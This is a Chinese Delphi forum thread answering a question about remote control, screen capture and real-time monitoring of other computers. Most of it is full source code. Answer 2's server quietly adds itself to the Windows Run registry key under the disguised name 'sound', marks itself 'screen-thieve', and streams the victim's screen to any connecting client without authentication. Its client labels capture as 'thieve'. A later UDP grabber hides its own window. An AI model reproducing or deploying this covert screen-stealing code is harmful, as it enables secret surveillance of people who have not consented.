关于计算机远程终端控制问题

Question

用DELPHI实现计算机远程终端控制都注意哪些问题,怎么实现计算机终端的屏幕的抓图.
及对计算机终端的时时监控呢?
请大家指教
谢谢

Answer 1

client
unit Unit_client;interfaceuses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ScktComp, ExtCtrls, ToolWin, ComCtrls, Menus, Buttons,shellapi,
  jpeg;type
  TForm_main = class(TForm)
    Image1: TImage;
    MainMenu1: TMainMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    CoolBar1: TCoolBar;
    menu_connect: TMenuItem;
    menu_thieve: TMenuItem;
    menu_stop: TMenuItem;
    menu_disconnect: TMenuItem;
    N3: TMenuItem;
    N4: TMenuItem;
    menu_help: TMenuItem;
    N5: TMenuItem;
    ToolBar1: TToolBar;
    bt_close: TSpeedButton;
    bt_help: TSpeedButton;
    bt_about: TSpeedButton;
    bt_disconnect: TSpeedButton;
    bt_stop: TSpeedButton;
    bt_thieve: TSpeedButton;
    bt_connect: TSpeedButton;
    ToolButton2: TToolButton;
    ClientSocket1: TClientSocket;
    procedure bu_snapClick(Sender: TObject);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure bt_connectClick(Sender: TObject);
    procedure bt_closeClick(Sender: TObject);
    procedure SpeedButton1Click(Sender: TObject);
    procedure bt_thieveClick(Sender: TObject);
    procedure bt_aboutClick(Sender: TObject);
    procedure bt_helpClick(Sender: TObject);
    procedure menu_homepageClick(Sender: TObject);
    procedure menu_emailClick(Sender: TObject);
    procedure bt_stopClick(Sender: TObject);
    procedure bt_disconnectClick(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;var
  Form_main: TForm_main;implementationuses Unit_about;
const bufsize=2048;
var
stream:Tmemorystream;
jpegscreen:Tjpegimage;
isthieve:boolean;
{$R *.DFM}procedure TForm_main.bu_snapClick(Sender: TObject);
begin
clientsocket1.Socket.SendText ('show');
end;procedure TForm_main.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
var
buf:array[0..bufsize] of char;
numberbytes:integer;
begin
if isthieve then begin
   numberbytes:=socket.ReceiveLength;
   socket.receiveBuf(buf,numberbytes);
   socket.SendText('show');
   stream.Write(buf,numberbytes);
   if numberbytes<2048 then  begin
      stream.Position :=0;
      try
         jpegscreen.LoadFromStream(stream);
         image1.Picture.Bitmap.Assign(jpegscreen);
      except
      end;
      stream.Clear ;
   end;
end;
if not isthieve then socket.SendText('stop');
end;procedure TForm_main.FormCreate(Sender: TObject);
begin
image1.Width :=screen.Width ;
image1.Height :=screen.Height;
stream:=Tmemorystream.Create ;
stream.Position :=0;
jpegscreen:=Tjpegimage.Create ;
isthieve:=false;
end;procedure TForm_main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
clientsocket1.Socket.SendText('complete');
clientsocket1.Active :=false;
stream.Free;
jpegscreen.Free ;
end;procedure TForm_main.bt_connectClick(Sender: TObject);
var
remotehost:string;
begin
remotehost:=inputbox('建立连接','请输入被察看的机器的IP地址或名称：','127.0.0.1');
if trim(remotehost)<>'' then
begin
clientsocket1.Host :=remotehost;
clientsocket1.Active :=true;
end;
end;procedure TForm_main.bt_closeClick(Sender: TObject);
begin
clientsocket1.Active :=false;
close;
end;procedure TForm_main.SpeedButton1Click(Sender: TObject);
var
remotehost:string;
begin
remotehost:=inputbox('建立连接','请输入被察看的机器的IP地址或名称：','');
if trim(remotehost)<>'' then
begin
if clientsocket1.Active then clientsocket1.Active :=true;
clientsocket1.Port :=15333;
clientsocket1.Host :=remotehost;
try
clientsocket1.Active :=true;
except
showmessage('连接失败！');
end;
end;end;procedure TForm_main.bt_thieveClick(Sender: TObject);
begin
stream.Clear ;
isthieve:=true;
clientsocket1.Socket.SendText ('show');
end;procedure TForm_main.bt_aboutClick(Sender: TObject);
begin
form_about.ShowModal ;
end;procedure TForm_main.bt_helpClick(Sender: TObject);
begin
shellexecute(handle,nil,'使用帮助.txt',nil,nil,sw_normal);
end;procedure TForm_main.menu_homepageClick(Sender: TObject);
begin
shellexecute(handle,nil,'http://xnzhwj.yeah.net',nil,nil,sw_normal);
end;procedure TForm_main.menu_emailClick(Sender: TObject);
begin
shellexecute(handle,nil,'mailto:[email protected]',nil,nil,sw_normal);
end;procedure TForm_main.bt_stopClick(Sender: TObject);
begin
stream.Clear ;
isthieve:=false;
clientsocket1.Socket.SendText('stop');
end;procedure TForm_main.bt_disconnectClick(Sender: TObject);
begin
isthieve:=false;
clientsocket1.Active :=false;
stream.Clear ;
end;procedure TForm_main.Button1Click(Sender: TObject);
begin
clientsocket1.Socket.SendText ('a1111aaa');
end;procedure TForm_main.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
showmessage('连接成功！');
end;procedure TForm_main.ClientSocket1Error(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
errorcode:=0;
isthieve:=false;
stream.Clear ;
//showmessage(inttostr(errorcode));
end;end.

Answer 2

serverunit Unit_server;interfaceuses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, ExtCtrls, StdCtrls,jpeg,registry,shellapi, Buttons;type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure ServerSocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
  private
   procedure sendscreen();
   procedure snapscreen();
  public
    { Public declarations }
  end;var
  Form1: TForm1;implementation
const BufSize=2048;
var
LeftSize:Longint;
jpegStream:TMemoryStream;
{$R *.DFM}
procedure TForm1.sendscreen();
var
sendsize:longint;
Buf:array[0..BufSize-1] of char;
begin
if jpegstream.Size =0 then snapscreen();
if LeftSize>BufSize then SendSize:=BufSize else SendSize:=LeftSize;
jpegStream.ReadBuffer(Buf,sendsize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then jpegStream.Clear;
try
serversocket1.Socket.Connections[0].SendBuf (buf,sendsize);
except
jpegstream.Clear ;
end;
end;procedure TForm1.snapscreen();
var
bmpscreen:Tbitmap;
jpegscreen:Tjpegimage;
FullscreenCanvas:TCanvas;
dc:HDC;
sourceRect, destRect: TRect;
begin
dc:=getdc(0);
fullscreencanvas:=Tcanvas.Create;
fullscreencanvas.Handle:=dc;
bmpscreen:=Tbitmap.create;
bmpscreen.Width :=screen.Width ;
bmpscreen.Height :=screen.Height ;
sourcerect:=rect(0,0,screen.Width ,screen.Height );
destrect:= rect(0,0,screen.Width ,screen.Height);
bmpscreen.Canvas.CopyRect(sourcerect,fullscreenCanvas,destrect);
jpegscreen:=Tjpegimage.Create ;
jpegscreen.Assign (bmpscreen);
jpegscreen.CompressionQuality:=40;
jpegscreen.SaveToStream (jpegStream);
jpegstream.Position :=0;
LeftSize:=jpegStream.Size;
FullscreenCanvas.Free;
bmpscreen.Free;
jpegscreen.Free ;
ReleaseDC(0, DC);
end;procedure TForm1.Button1Click(Sender: TObject);
begin
snapscreen();
end;procedure TForm1.FormCreate(Sender: TObject);
var
reg:Tregistry;
begin
reg:=Tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
if not reg.KeyExists('SOFTWARE\screen-thieve') then begin
reg.CreateKey ('SOFTWARE\screen-thieve');
reg.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('sound',application.ExeName );
end;
reg.CloseKey ;
jpegStream:=TmemoryStream.Create ;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
rstr:string;
begin
rstr:=socket.ReceiveText;
if rstr ='show' then
begin
sendscreen();
end;
if rstr='stop' then jpegstream.Clear;
end;procedure TForm1.ServerSocket1ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
errorcode:=0;
jpegstream.Clear;
end;procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
jpegstream.Clear;
end;end.

Answer 3

我这里有个用udp显示的抓图，不过你最好用tcp的，图象最好先转成jpg的发送，至于实时监控这就需要看网络（有延时，不可能实时性很高）的情况了，一般情况下通过发控制命令，就行了。
下面是代码：
unit u_server;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, ExtCtrls,jpeg, NMUDP;type
  Tserver = class(TForm)
    SUDP: TNMUDP;
    Panel1: TPanel;
    Label1: TLabel;
    Label2: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    BitBtn1: TBitBtn;
    Panel2: TPanel;
    Image1: TImage;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure SUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;var
  server: Tserver;implementation
   const BufSize=2048;
  var
  RsltStream,TmpStream:TMemoryStream;
{$R *.dfm}procedure Tserver.FormCreate(Sender: TObject);
begin
  RsltStream:=TMemoryStream.Create;
  TmpStream:=TMemoryStream.Create;
end;procedure Tserver.FormDestroy(Sender: TObject);
begin
  RsltStream.Free;
  TmpStream.Free;
end;procedure Tserver.SUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
  FromIP: String; Port: Integer);
  var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
  ReqCodeStr:='show'+trim(Edit1.text);
  StrpCopy(ReqCode,ReqCodeStr);
  SUDP.ReadStream(TmpStream);
  RsltStream.CopyFrom(TmpStream,NumberBytes);
  if NumberBytes< BufSize then { 数据已读完 }
  begin
  RsltStream.Position:=0;
  Image1.Picture.Graphic:=TJpegImage.Create();
  Image1.Picture.Graphic.LoadFromStream(RsltStream);
  //Image1.Picture.Bitmap.LoadFromStream(RsltStream);
 // image1.Picture.SaveToFile('1.jpg');
  TmpStream.Clear;
  RsltStream.Clear;
  end
  else
  begin
  TmpStream.Clear;
  ReqCode:='show';
  SUDP.RemoteHost:=FromIP;
  SUDP.SendBuffer(ReqCode,30);
  end;
end;procedure Tserver.BitBtn1Click(Sender: TObject);
  var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
  ReqCodeStr:='show'+trim(Edit1.Text);
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=trim(Edit2.Text);
  SUDP.SendBuffer(ReqCode,30);
end;end.
object server: Tserver
  Left = 308
  Top = 111
  Width = 601
  Height = 474
  BorderIcons = [biSystemMenu, biMinimize]
  Caption = 'server'
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  OnCreate = FormCreate
  OnDestroy = FormDestroy
  PixelsPerInch = 96
  TextHeight = 13
  object Panel1: TPanel
    Left = 0
    Top = 0
    Width = 593
    Height = 86
    Align = alTop
    TabOrder = 0
    object Label1: TLabel
      Left = 40
      Top = 17
      Width = 105
      Height = 13
      AutoSize = False
      Caption = '左：上：右：下'
    end
    object Label2: TLabel
      Left = 40
      Top = 41
      Width = 80
      Height = 13
      Caption = '目标机ip地址：'
    end
    object Edit1: TEdit
      Left = 152
      Top = 9
      Width = 145
      Height = 21
      TabOrder = 0
      Text = '0:0:100:100'
    end
    object Edit2: TEdit
      Left = 152
      Top = 41
      Width = 145
      Height = 21
      TabOrder = 1
      Text = '127.0.0.1'
    end
    object BitBtn1: TBitBtn
      Left = 408
      Top = 37
      Width = 105
      Height = 25
      Caption = 'capture'
      TabOrder = 2
      OnClick = BitBtn1Click
    end
  end
  object Panel2: TPanel
    Left = 0
    Top = 86
    Width = 593
    Height = 361
    Align = alClient
    BevelOuter = bvLowered
    TabOrder = 1
    object Image1: TImage
      Left = 1
      Top = 1
      Width = 591
      Height = 359
      Align = alClient
    end
  end
  object SUDP: TNMUDP
    RemotePort = 1111
    LocalPort = 2222
    ReportLevel = 1
    OnDataReceived = SUDPDataReceived
    Left = 320
    Top = 40
  end
end

Answer 4

unit u_client;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg,NMUDP,ExtCtrls;type
  Tclient = class(TForm)
    CUDP: TNMUDP;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure ScreenCap(LeftPos,TopPos,  RightPos,BottomPos:integer);
    procedure FormShow(Sender: TObject);
    procedure AppMinimize(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;var
  client: Tclient;implementation
  const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
  var
  BmpStream:TMemoryStream;
  LeftSize:Longint;{ 发送每一笔数据后剩余的字节数 }{$R *.dfm}procedure Tclient.FormCreate(Sender: TObject);
begin
  BmpStream:=TMemoryStream.Create;
end;procedure Tclient.FormDestroy(Sender: TObject);
begin
  BmpStream.Free;
end;procedure Tclient.CUDPDataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
  var
  CtrlCode:array[0..29] of char;
  Buf:array[0..BufSize-1] of char;
  TmpStr:string;
  SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
  CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }
  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then
  begin { 控制码前4位为"show"表示主控机发出了抓屏指令 }
  if BmpStream.Size=0 then { 没有数据可发，必须截屏生成数据 }
  begin
    TmpStr:=StrPas(CtrlCode);
     TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
     LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
     TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)
       -Pos(':',TmpStr));
     TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
     TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-
     Pos(':',TmpStr));
     RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
     BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr
        )+1,Length(TmpStr)-Pos(':',TmpStr)));
    ScreenCap(LeftPos,TopPos,RightPos,BottomPos); {
    截取屏幕 }
  end;
  if LeftSize>BufSize then
     SendSize:=BufSize
  else
       SendSize:=LeftSize;
     BmpStream.ReadBuffer(Buf,SendSize);
     LeftSize:=LeftSize-SendSize;
     if LeftSize=0 then BmpStream.clear;{ 清空流 }
     CUDP.RemoteHost:=FromIP; { FromIP为主控机IP地址 }
     CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机的2222口 }
  end;
end;procedure Tclient.ScreenCap(LeftPos, TopPos, RightPos, BottomPos: integer);
var
  RectWidth,RectHeight:integer;
  SourceDC,DestDC,Bhandle:integer;
  bitmap:Tbitmap;
 Jpeg1:TJpegImage;
begin
  RectWidth:=RightPos-LeftPos;
  RectHeight:=BottomPos-TopPos;
  SourceDC:=CreateDC('DISPLAY','','',nil);
  DestDC:=CreateCompatibleDC(SourceDC);
  Bhandle:=CreateCompatibleBitmap(SourceDC,
  RectWidth,RectHeight);
  SelectObject(DestDC,Bhandle);
  BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
        LeftPos,TopPos,SRCCOPY);
  DeleteDC(DestDC); //*************************
  bitmap:=Tbitmap.Create;
  Bitmap.Handle:=BHandle;
  //bitmap.Dormant;
  //bitmap.SaveToFile('tmp.bmp');
  Jpeg1:= TJpegImage.Create();
  Jpeg1.Assign(Bitmap);
  jpeg1.CompressionQuality:=strtoint('75') ;
  jpeg1.JPEGNeeded;
  jpeg1.Compress;
  // jpeg1.SaveToFile('tmp1.jpg');
  Jpeg1.SaveToStream(BmpStream); 
  BmpStream.Position:=0;
  LeftSize:=BmpStream.Size;
  Jpeg1.Free;
  bitmap.Free;  ReleaseDC(Bhandle,SourceDC);
end;procedure Tclient.FormShow(Sender: TObject);
begin
  application.Restore ;
end;procedure Tclient.AppMinimize(Sender: TObject);
begin
  inherited;
  self.Hide; 
end;end.
object client: Tclient
  Left = 363
  Top = 257
  Width = 197
  Height = 51
  Caption = 'client'
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  OnCreate = FormCreate
  OnDestroy = FormDestroy
  OnShow = FormShow
  PixelsPerInch = 96
  TextHeight = 13
  object CUDP: TNMUDP
    RemotePort = 2222
    LocalPort = 1111
    ReportLevel = 1
    OnDataReceived = CUDPDataReceived
    Left = 120
    Top = 65528
  end
end

Answer 5

对了，刚发完看了楼上的，觉得他用那个也可以，可能比我得这个更好些，毕竟面向连接要好，不过抓图是资源要及时释放（如deletedc的位置应尽量提前），否则会出问题